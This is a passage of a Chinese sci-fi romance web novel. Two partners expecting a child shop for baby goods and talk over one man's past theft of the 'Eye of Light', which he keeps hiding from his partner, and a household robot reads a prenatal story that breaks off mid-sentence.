关阙转头看向窗户,像是对那一扇百叶窗帘突然产生了兴趣。纪九第一反应也是伸手去翻包,但又反应过来医生还在等待两人的答复。他看了眼正在认真研究百叶窗帘的关阙,知道现在不能指望他,便强自镇定地回道:“没有。” “没有?”医生一怔,接着狐疑地看向了关阙。 “不是。”纪九反应过来医生在想什么,连忙替关阙解释,“他没有问题。”但刚说完这句,又不太确定地小声问他,“对吧?” “没有。”关阙摇摇头,见纪九还看着自己,倏地坐直了身体,“我很正常。”接着又补充,“正常到都有些不正常。” 医生笑了起来:“我不是那个意思,孩子都有了,怎么会有问题?你们年轻夫夫也太谨慎了一些,现在的月份可以同房,没关系。” 待到检查结束走出屋子,两个人沉默地进入电梯,脸都有些泛红。 电梯嗡嗡下行,紧闭空间更加凸显此时的沉默,也更加令人不自在。 纪九找了个话题,问道:“东西都带上了吧?” “嗯。” “我的包……哦,在的。” 电梯内再次安静,纪九盯着那行数字,又开口:“这个医生有点让人尴尬啊。” “还行。”关阙回道。 “其实没什么的。” “我知道。” 电梯到了底层,两人步出电梯。纪九两手抄在衣兜里,走出一段后,突然撞了撞关阙的肩膀。 “害臊了?” “为什么害臊?” 纪九摸了摸鼻子:“你就装吧,我看到你耳朵都红了。” 关阙眼睛看着前方:“你去照下镜子?” “我比你强。” 纪九乜了眼关阙,清了清嗓子,又开始学他:“我很正常。我正常到都有些不正常。” “过分了啊。”关阙没有看他,只侧身让过一名孕妇。 纪九却没有放过他:“阿宝,我问你啊,那句正常到有些不正常是什么意思?” 关阙不做声,抬手按下了车钥匙,停在远处的深灰色轿车闪了闪灯。 “问你啊,别不吭声啊,正常到有些不正常到底是什么意思?”纪九不依不饶地追问。 关阙正走着,突然就停下脚步,看着脚下地面轻笑了一声,接着侧头看向了纪九。 “你想知道我说那话是什么意思?”他问道。 纪九心里暗暗忍笑,神情却很无辜:“当然想知道,阿宝,给我说说。” 关阙的目光停留在他脸上,那双深黑的眼眸突然就和平常不太一样,隐隐透出一些侵略性,还带着一些危险。 纪九被他这样看着,脸上的笑慢慢敛起,下意识闭上了嘴,心脏不受控制地砰砰直跳。 关阙看见纪九的脸变红,便微微俯低头,在他耳侧轻声道:“你很快就知道了。” 关阙说完这句,便大步走向轿车。纪九看着他的背影,直到他打开了副驾驶门等着,这才回过神,一边在心里暗骂这人不分场合地放电,一边面红耳赤地走了上去。 第56章 两人离开医院后,又去了一次母婴店,将一些需要的物品补充完整。考虑到家里有两人用车,且轿车的装载能力有限,关阙还去车行订了一辆超强性能的越野。这辆车空间非常宽敞,所有座椅折叠后,后备箱容积可达2500L,等到孩子出生,婴儿车什么的可以随便装,方便一家人出行。 回到家后,两人将买回的东西送进宝宝房,再坐在地上一样样拆开。 纪九头上顶着一只婴儿绒帽,胸前挂着一个口水兜,拿着一个毛茸茸的白色玩偶。 “这玩意儿见过吗?它并不是你认为的眦汹兽,而是小米可,小孩子最喜欢的卡通角色,小米可。”纪九对关阙展示,又冲着旁边喊,“雀宝。” 鸟崽已经穿上了纪九新买的花毛衣,正坐在地上玩一个线团,听见纪九喊它,便起身走了过来。 “喜欢吗?” “啾啾。” “知道它叫什么吗?” “啾啾啾。” “你瞧瞧你,连孩子都知道这是小米可。”纪九奚落完关阙,又将玩偶丢给鸟崽,“拿去玩。” 鸟崽抱着玩偶离开,纪九继续整理物品,又拿起一个小圆瓶,在眼前转动着看上面的说明。 “这字好小,字体也是歪歪扭扭的那种。”纪九将圆瓶递到坐在对面的关阙面前,“你帮我看看,看着费劲。” 关阙接了过去,对着光线辨认圆形瓶身上的小字:“孕夫用……润膏……” 不知道是不是因为今天医生的交代,纪九变得有些敏感。他刚听见孕夫用三字时,心里便起了警惕,再听关阙念出润膏两字,心头便咯噔一声。 “……柔滑” 纪九的身体反应甚至快过大脑,在关阙刚念出柔滑这个词时,便一把将那圆瓶从他手里夺走。 关阙还举着手,神情略有些诧异。纪九一边将那圆瓶重新塞进袋子,一边胡乱解释:“肯定是我拿错了,我都没注意看,随便就装进购物推车了。” 关阙看了眼自己空空的手心:“没拿错吧?我听见店员说,为了防止腹部长出妊娠纹,最好是涂抹一点润膏。当时他递给你的好像就是这瓶。” 纪九呆住,嘴张了又张,接着反应过来,便做出醒悟状:“是啊,对对对,我想起来了,是的,就是这瓶。” 关阙将他的反应瞧在眼里,不知想到了什么,也不说话,只似笑非笑地看着他。 纪九还在解释:“我知道这是防止妊娠纹的,只是不知道怎么使用。” 话刚出口,他便看见关阙挑起半边眉头,也发现自己这个说法太过拙劣,简直就是欲盖弥彰。 怎么会说不会使用的?谁会那么蠢,给自己肚皮抹药都不会? 纪九干脆闭上了嘴,只顶着关阙的两道视线,红着脸取下婴儿帽和口水兜,准备拿给吴思琪,让它按照店员的吩咐,清洗消毒后再收纳起来。 他听见关阙很轻地笑了声,也只能硬着头皮假装没听见。 关阙拎过袋子,从里面取出那瓶润膏,站起身,走出宝宝房。纪九没问他做什么,只竖起耳朵听,听见外面卧室床头柜拉开后再关闭的声音。 关阙放好东西走了回来,蹲在纪九身旁,继续收拾那些散落在地上的物品。 “你不会搽药不要紧,我帮你搽就行了。”关阙低声道。 纪九嘴唇动了动,干脆侧头看向一旁。 收拾好所有物品,关阙便下楼做饭。待到吃完晚饭,一家人如往常般去小区里散步。 小区后面有座人工湖,两人沿着湖畔慢慢行走。鸟崽在两旁灌木里钻进钻出,机器人随时盯着它,催着它跟上步伐。 纪九披着关阙的外套,一手和他牵着,一手拿着一根野草:“阿宝,你是什么时候成为高阶序列者的?” 虽然天气转凉,但关阙依旧只穿着一件薄薄的米白色羊绒开衫,袖子往上挽起,露出一段结实的小臂。 “就在我夺回光明之眼的那一天。” 纪九轻轻啊了一声:“我记得你说过,你是夺取到光明之眼后就去了H58,然后遇到了我。那你成为高阶也没多久吧?” 关阙点点头:“序列者一般是在三十岁之前完成所有突破。我是在二十四岁那年知道了大长老的事,就想杀了他给我家人报仇。但我那时候还没完全突破,无法成为大长老的贴身守卫,也就没有合适的机会下手。我一直等到二十七岁,再也等不下去了,决定直接去刺杀。” 纪九虽然知道他不会有生命危险,知道他还好好地站在这里,却依旧绷紧了身体。 “那天,我拿着一把好不容易弄来的铦电枪,潜入了大长老的居所。”关阙语气平静地道,“也就是那天,我听到了他和别人的对话,知道了光明之眼的下落。” …… 关阙躲在墙后,听着旁边门内传来的声音。那屋子里除了大长老,还有两名高阶序列者,所以他现在不能轻举妄动,不然连扣下扳机的机会都没有。 “大长老,那人也知道光明之眼的消息,知道您将它放在赤牙城云堡。”关阙听见说话的这人,是大长老的亲信之一,名字叫做阿攀。 大长老冷笑一声,光是听见那阴沉的声音,便令关阙后背一阵发紧。 “他现在表面上和我们合作,实际上也是盯着陨石来的。他知道了光明之眼的下落,接下来肯定会有动作。”大长老慢吞吞地道,“但赤牙城驻守着大量塔柯军,他想接近云堡,没那么容易。” “要不您还是把光明之眼取回来吧,放在那里的确不安全。”另一名亲信刺刃的声音响起,“容堡研究所已经研究了快半年,依旧无法复制光明之眼的能量。” 大长老叹了口气:“我也知道,光明之眼的能量无法复制,但找不着智慧之心和暗影之牙,只能看看能不能想另外的办法,自己做两个出来。” 刺刃道:“训练营里有个叫小沃的突破期训练生,是束历族云长老的外甥。云长老当年带着暗影之牙出逃,那个小沃会不会知道他的下落?” “出事那年小沃才多大?十岁出头的孩子,云长老不可能把这些事告诉他。”阿攀摇摇头,“更何况,他早就没了,想问都没办法。” “没了?”刺刃问。 “他和我是同一批训练生,还没等到突破成功,就在一次训练中死了,再也没有复活。”阿攀声音平淡,就像在说一件再普通不过的事。 关阙背靠墙壁听着他们的交谈,眼前却也突然闪过一个画面。 暗无天日的地下训练场,一名瘦弱的少年喘着气,低声对他道:“关阙,希望我这次死了后,就不要再复活了……你是我在这里认识的唯一一个朋友,我要告诉你一个秘密。云长老是我的舅舅,他没有死,他离开了埃叶星,要逃去银辉星。他告诉我,让我以后悄悄去银辉星找他,或者找他的侍卫,叫做幽冥……可是我快撑不下去了,我把这个秘密告诉你,你以后也逃去银辉星吧,去找我的舅舅……” …… “你听到什么了?阿宝?阿宝?” 纪九的声音将关阙从回忆中唤回,他定了定神,道:“我听见了藏着光明之眼的地点,还听到了有关暗影之牙的线索。所以我不光夺得了光明之眼,还去了银辉星,找到了暗影之牙。” 关阙想了下,又道:“对了,我之前没有在意,现在回想起来,他们的谈话内容里还提到了一名合作者。虽然没有提及那人的身份,但我觉得有可能是一名银盟军,也就是你口中的那名幕后者。” 纪九一怔,立即激动地追问:“那他们有透露那名幕后者的消息吗?是不是吴思宇?” “没有提到名字。”关阙摇头,“但听得出来,他们的合作关系并不稳定,而且大长老认为他也会争夺陨石碎片。” “吴思宇争夺陨石碎片做什么?”纪九疑惑地问,“你说这个陨石含有强大的能量,那能量是对所有人都有用,还是只针对你们序列者?” “据我所知,只有序列者才能吸收陨石能量,普通人就算拿到手,也没有任何作用。”关阙道。 纪九不清楚吴思宇争抢陨石的原因,但这明显不是重点,他又问道:“那后来呢?” “我只是名突破者,屋内却是三名高阶序列者,这场刺杀肯定不会成功。”关阙自嘲地笑了声,“我被屋里的人发现了,铦电枪也被夺走,好在人逃了出来。我在太空里躲藏了十来天,然后去了……去了藏匿光明之眼的地点。” 关阙话里有个迟疑的断句,纪九却没注意,只问:“那光明之眼是藏在哪儿的?” 关阙沉默半秒后回道:“在一颗无名行星上。” 他从来没有告诉过纪九,九月二十日那天,他也在赤牙城。 他当时正在容堡内抢夺光明之眼,也知道城堡外在开战。而等他将光明之眼夺到手,离开城堡,便因为突破带来的能量冲击而失去了意识。 他不记得自己失去意识后都做了什么,虽然他认为那些死亡的银盟军士兵和他无关,但该如何向纪九解释清楚? 而其中最关键的一点,是他一开始便对纪九做出了隐瞒。 那时的隐瞒是因为他刚认识纪九,不想节外生枝,但事情发展到现在,他已经失去了向纪九坦白的最好时机。 他再也不想让纪九用那种伤痛的、被背叛的、带着恨意的眼神看他。他只想纪九看向他的目光,永远都是那么缠绵,那双漂亮的瞳仁里,永远都只有他一个。 特别是在他初尝到两情相悦的甜蜜后,这一切便更加珍贵,珍贵到只要能留住纪九的爱恋,他可以付出自己的一切。 他欺瞒过纪九两次,纪九也原谅了他两次。但他心里清楚,不会再有第三次。 既然一开始就没有承认,那就只能将这件事彻底隐瞒,永远不要让纪九知道。 “后来呢?”纪九推了推他。 关阙便也继续:“我在小城堡里找到了光明之眼,和守在那儿的两名高阶序列者展开了搏斗。我原本打不过他们,但在濒临死亡时,却突破成了高阶。突破时爆发的巨大能量,让我杀死了那两名高阶序列者。” 他说得很简单,语气也是轻描淡写,但纪九却知道这短短几句背后的惊心动魄,只抓紧了关阙胳膊,紧张地屏住呼吸。 “我神志不清地离开那里,后面的记忆也模糊不清……”关阙眼里浮起一丝茫然。 “怎么会这样?是因为受伤吗?”纪九诧异。 “序列者在突破时会遭受强大的能量冲击,也需要将这股突然生出的力量和身体融合。在这个过程里,序列者会失去意识,也会变得狂暴和混乱,一切行动只依照本能。”关阙解释。 他继续回忆:“我有过短暂的清醒,便找到了飞行器,我清楚接下来会遇到追杀,必须要去有铦电的地方,所以我将自动航行的路线调整到了H58。但是撑到飞行器进入太空后,我就再次昏迷了,等到醒来……就看见了你。” 他说到最后一句时,声音轻得像是呢喃,也伸手抚上了纪九的脸。纪九侧头,在他掌心轻轻吻了下,又道:“我那次执行赤牙城任务时,也遇到过一名正在突破的序列者。” 关阙听到这几句,睫毛轻轻颤了颤,又慢慢收回了手。 纪九又道:“如果那名序列者进阶成功,那他肯定和我士兵的死亡有关。要是能找到他,我肯定要杀了他,为我的士兵报仇。” 纪九没有察觉到关阙神情有一丝异常,只抬手搂住他的腰,靠进他怀里:“阿宝,感谢你短暂的清醒,让我们能在H58遇见。” 关阙将下巴抵在他的头顶,脸上神情复杂难明。片刻后才低声道:“是的,感谢遇见。” 天边燃起了晚霞,恒星慢慢坠入地平线。当天上亮起一盏盏星子时,纪九这才叫回还在疯玩的鸟崽,一把捞起抱着回家。 晚上十点,鸟崽早已入睡,关阙和纪九还面对面坐在沙发上,茶几上摆着一个棋盘。 “落子无悔。”关阙握住纪九伸向棋盘的手。 “我们银辉星的规矩是可以悔两步。” “你已经悔了两步。” “哦,我记错了,是可以悔三步。” 关阙手指在那段手腕上轻轻勾了下,这才道:“行吧,那就再让你一步。” “希总,你刚摸我的小手了,那要让四步。”纪九狡黠地眨眨眼。 “这也是银辉星的规矩?”关阙夹起一颗棋子,神情似笑非笑。 “对,这就是银辉星的规矩。本来要让五步,但看在你那么有钱的份上,就只让四步。” “我们银辉星根本没有这样的规矩!”机器人突然出声,打破两人的眉来眼去,又严肃道,“纪九,现在是睡前故事时间,请你正经一点。我不知道你有没有关注过新闻,现在社会上竞争非常激烈,如果孩子以后是个蠢蛋,那就只能去战场上挖战壕抬弹药箱。我们做家长的要对孩子负责,积极开发他的智力,让他从胎儿时期就赢在起跑线上。” 待到纪九不出声了,机器人转回头,继续对着他的肚子,轻声细语地讲胎教故事。 “咕噜兽问小乌龟,你看见我的爸爸了吗?小乌龟说,你回答出我的问题我就告诉你。咕噜兽答应了,小乌龟就说,已知函数f(x)|lgx|. 若0